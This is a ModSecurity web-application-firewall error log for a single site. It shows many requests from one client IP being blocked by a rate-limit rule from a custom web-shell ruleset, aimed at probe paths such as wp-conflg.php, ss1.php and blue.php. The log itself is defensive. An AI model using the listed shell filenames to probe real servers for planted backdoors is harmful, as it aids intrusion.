[Sun Jan 18 18:51:16.558796 2026] [:error] [pid 12925:tid 13002] [client 20.2.112.127:10391] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class19.php"] [unique_id "aWy7JPsBL-4pnmSbzihHAQAAAI4"]
[Sun Jan 18 18:51:16.822661 2026] [:error] [pid 13034:tid 13038] [client 20.2.112.127:10408] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class19.php"] [unique_id "aWy7JMRGpUu1E8cmbmiJzwAAAMI"]
[Sun Jan 18 18:51:17.066119 2026] [:error] [pid 33494:tid 33511] [client 20.2.112.127:4039] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class19.php"] [unique_id "aWy7JbxmLR_50TtKxDIKgwAAAQ0"]
[Sun Jan 18 18:51:17.299938 2026] [:error] [pid 12924:tid 12963] [client 20.2.112.127:4082] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aWy7JSuv3PUo9LR6V6YkhAAAAEM"]
[Sun Jan 18 18:51:17.535163 2026] [:error] [pid 33494:tid 33509] [client 20.2.112.127:4006] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aWy7JbxmLR_50TtKxDIKhQAAAQs"]
[Sun Jan 18 18:51:17.767743 2026] [:error] [pid 33494:tid 33512] [client 20.2.112.127:10431] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aWy7JbxmLR_50TtKxDIKhgAAAQ4"]
[Sun Jan 18 18:51:18.000731 2026] [:error] [pid 33494:tid 33503] [client 20.2.112.127:10493] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aWy7JbxmLR_50TtKxDIKhwAAAQU"]
[Sun Jan 18 18:51:18.233868 2026] [:error] [pid 33494:tid 33507] [client 20.2.112.127:3997] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aWy7JrxmLR_50TtKxDIKiAAAAQk"]
[Sun Jan 18 18:51:18.467514 2026] [:error] [pid 33494:tid 33505] [client 20.2.112.127:10448] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aWy7JrxmLR_50TtKxDIKiQAAAQc"]
[Sun Jan 18 18:51:18.700942 2026] [:error] [pid 33494:tid 33504] [client 20.2.112.127:4076] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aWy7JrxmLR_50TtKxDIKigAAAQY"]
[Sun Jan 18 18:51:18.934863 2026] [:error] [pid 12925:tid 13005] [client 20.2.112.127:4038] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aWy7JvsBL-4pnmSbzihHAgAAAJE"]
[Sun Jan 18 18:51:19.167990 2026] [:error] [pid 37885:tid 37898] [client 20.2.112.127:4088] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss1.php"] [unique_id "aWy7J4IjOL7XA82H72V0HQAAAUo"]
[Sun Jan 18 18:51:19.406611 2026] [:error] [pid 33494:tid 33518] [client 20.2.112.127:4062] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss1.php"] [unique_id "aWy7J7xmLR_50TtKxDIKiwAAARQ"]
[Sun Jan 18 18:51:19.642323 2026] [:error] [pid 37885:tid 37890] [client 20.2.112.127:3974] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss1.php"] [unique_id "aWy7J4IjOL7XA82H72V0HwAAAUI"]
[Sun Jan 18 18:51:19.877205 2026] [:error] [pid 37885:tid 37902] [client 20.2.112.127:4068] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss1.php"] [unique_id "aWy7J4IjOL7XA82H72V0IQAAAU4"]
[Sun Jan 18 18:51:20.109401 2026] [:error] [pid 12925:tid 12992] [client 20.2.112.127:10495] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x/"] [unique_id "aWy7KPsBL-4pnmSbzihHAwAAAIQ"]
[Sun Jan 18 18:51:20.349934 2026] [:error] [pid 33494:tid 33502] [client 20.2.112.127:10476] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x/"] [unique_id "aWy7KLxmLR_50TtKxDIKjQAAAQQ"]
[Sun Jan 18 18:51:20.588968 2026] [:error] [pid 12925:tid 13003] [client 20.2.112.127:4015] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x/"] [unique_id "aWy7KPsBL-4pnmSbzihHBAAAAI8"]
[Sun Jan 18 18:51:20.822234 2026] [:error] [pid 37885:tid 37895] [client 20.2.112.127:10457] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x/"] [unique_id "aWy7KIIjOL7XA82H72V0IgAAAUc"]
[Sun Jan 18 18:51:21.055132 2026] [:error] [pid 12925:tid 12998] [client 20.2.112.127:4040] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.1.php"] [unique_id "aWy7KfsBL-4pnmSbzihHBgAAAIo"]
[Sun Jan 18 18:51:21.288033 2026] [:error] [pid 12923:tid 12943] [client 20.2.112.127:3986] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.1.php"] [unique_id "aWy7KesWURrrC-4Rx5J5oQAAAAs"]
[Sun Jan 18 18:51:21.520036 2026] [:error] [pid 33494:tid 33508] [client 20.2.112.127:4050] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.1.php"] [unique_id "aWy7KbxmLR_50TtKxDIKjgAAAQo"]
[Sun Jan 18 18:51:21.753368 2026] [:error] [pid 37885:tid 37891] [client 20.2.112.127:10374] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.1.php"] [unique_id "aWy7KYIjOL7XA82H72V0IwAAAUM"]
[Sun Jan 18 18:51:21.986408 2026] [:error] [pid 13034:tid 13058] [client 20.2.112.127:10368] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aWy7KcRGpUu1E8cmbmiJ1AAAANQ"]
[Sun Jan 18 18:51:22.219668 2026] [:error] [pid 13034:tid 13061] [client 20.2.112.127:3984] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aWy7KsRGpUu1E8cmbmiJ1QAAANc"]
[Sun Jan 18 18:51:22.475728 2026] [:error] [pid 37885:tid 37911] [client 20.2.112.127:10450] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aWy7KoIjOL7XA82H72V0JAAAAVc"]
[Sun Jan 18 18:51:22.709316 2026] [:error] [pid 13034:tid 13050] [client 20.2.112.127:4078] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aWy7KsRGpUu1E8cmbmiJ1wAAAMw"]
[Sun Jan 18 18:51:22.942031 2026] [:error] [pid 33494:tid 33521] [client 20.2.112.127:3973] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aWy7KrxmLR_50TtKxDIKkwAAARc"]
[Sun Jan 18 18:51:23.176289 2026] [:error] [pid 12925:tid 13006] [client 20.2.112.127:10421] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aWy7K_sBL-4pnmSbzihHBwAAAJI"]
[Sun Jan 18 18:51:23.409945 2026] [:error] [pid 33494:tid 33514] [client 20.2.112.127:10463] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aWy7K7xmLR_50TtKxDIKlAAAARA"]
[Sun Jan 18 18:51:23.644596 2026] [:error] [pid 12925:tid 12990] [client 20.2.112.127:4022] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aWy7K_sBL-4pnmSbzihHCAAAAII"]
[Sun Jan 18 18:51:23.886334 2026] [:error] [pid 13034:tid 13041] [client 20.2.112.127:3978] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aWy7K8RGpUu1E8cmbmiJ2gAAAMM"]
[Sun Jan 18 18:51:24.120129 2026] [:error] [pid 13034:tid 13047] [client 20.2.112.127:4091] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aWy7LMRGpUu1E8cmbmiJ2wAAAMk"]
[Sun Jan 18 18:51:24.354026 2026] [:error] [pid 13034:tid 13057] [client 20.2.112.127:4075] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aWy7LMRGpUu1E8cmbmiJ3AAAANM"]
[Sun Jan 18 18:51:24.590041 2026] [:error] [pid 37885:tid 37901] [client 20.2.112.127:3908] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aWy7LIIjOL7XA82H72V0KAAAAU0"]
[Sun Jan 18 18:51:24.823227 2026] [:error] [pid 37885:tid 37908] [client 20.2.112.127:4051] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aWy7LIIjOL7XA82H72V0KQAAAVQ"]
[Sun Jan 18 18:51:25.057244 2026] [:error] [pid 12925:tid 13010] [client 20.2.112.127:10437] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aWy7LfsBL-4pnmSbzihHCgAAAJY"]
[Sun Jan 18 18:51:25.291825 2026] [:error] [pid 12924:tid 12961] [client 20.2.112.127:3968] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aWy7LSuv3PUo9LR6V6YkiwAAAEE"]
[Sun Jan 18 18:51:25.528310 2026] [:error] [pid 37885:tid 37897] [client 20.2.112.127:3922] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aWy7LYIjOL7XA82H72V0KgAAAUk"]
[Sun Jan 18 18:51:25.761799 2026] [:error] [pid 12925:tid 12995] [client 20.2.112.127:4008] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aWy7LfsBL-4pnmSbzihHDAAAAIc"]
[Sun Jan 18 18:51:26.005218 2026] [:error] [pid 12925:tid 12989] [client 20.2.112.127:4074] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aWy7LvsBL-4pnmSbzihHDQAAAIE"]
[Sun Jan 18 18:51:26.238433 2026] [:error] [pid 13034:tid 13059] [client 20.2.112.127:10380] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aWy7LsRGpUu1E8cmbmiJ3gAAANU"]
[Sun Jan 18 18:51:26.471889 2026] [:error] [pid 12925:tid 12988] [client 20.2.112.127:4012] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aWy7LvsBL-4pnmSbzihHDwAAAIA"]
[Sun Jan 18 18:51:26.705817 2026] [:error] [pid 12925:tid 13008] [client 20.2.112.127:4001] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blue.php"] [unique_id "aWy7LvsBL-4pnmSbzihHEAAAAJQ"]
[Sun Jan 18 18:51:26.939761 2026] [:error] [pid 12924:tid 12973] [client 20.2.112.127:4054] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blue.php"] [unique_id "aWy7Liuv3PUo9LR6V6YkjwAAAE0"]
[Sun Jan 18 18:51:27.173468 2026] [:error] [pid 37885:tid 37898] [client 20.2.112.127:4073] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blue.php"] [unique_id "aWy7L4IjOL7XA82H72V0LgAAAUo"]
[Sun Jan 18 18:51:27.407397 2026] [:error] [pid 12924:tid 12976] [client 20.2.112.127:4063] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blue.php"] [unique_id "aWy7Lyuv3PUo9LR6V6YkkAAAAFA"]
[Sun Jan 18 18:51:27.643351 2026] [:error] [pid 12925:tid 12991] [client 20.2.112.127:3940] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aWy7L_sBL-4pnmSbzihHEQAAAIM"]
[Sun Jan 18 18:51:27.875904 2026] [:error] [pid 33494:tid 33512] [client 20.2.112.127:4049] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aWy7L7xmLR_50TtKxDIKlQAAAQ4"]
[Sun Jan 18 18:51:28.107632 2026] [:error] [pid 33494:tid 33503] [client 20.2.112.127:4031] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aWy7MLxmLR_50TtKxDIKlgAAAQU"]
[Sun Jan 18 18:51:28.340034 2026] [:error] [pid 33494:tid 33507] [client 20.2.112.127:4035] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aWy7MLxmLR_50TtKxDIKlwAAAQk"]
[Sun Jan 18 18:51:28.577222 2026] [:error] [pid 33494:tid 33505] [client 20.2.112.127:10423] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/main.php"] [unique_id "aWy7MLxmLR_50TtKxDIKmAAAAQc"]
[Sun Jan 18 18:51:28.814298 2026] [:error] [pid 12923:tid 12936] [client 20.2.112.127:3925] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/main.php"] [unique_id "aWy7MOsWURrrC-4Rx5J5pgAAAAQ"]
[Sun Jan 18 18:51:29.049605 2026] [:error] [pid 33494:tid 33500] [client 20.2.112.127:3975] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/main.php"] [unique_id "aWy7MbxmLR_50TtKxDIKmQAAAQI"]
[Sun Jan 18 18:51:29.290736 2026] [:error] [pid 12925:tid 12992] [client 20.2.112.127:4057] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/main.php"] [unique_id "aWy7MfsBL-4pnmSbzihHFwAAAIQ"]
[Sun Jan 18 18:51:29.524654 2026] [:error] [pid 12925:tid 13003] [client 20.2.112.127:10419] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ooo.php"] [unique_id "aWy7MfsBL-4pnmSbzihHGAAAAI8"]
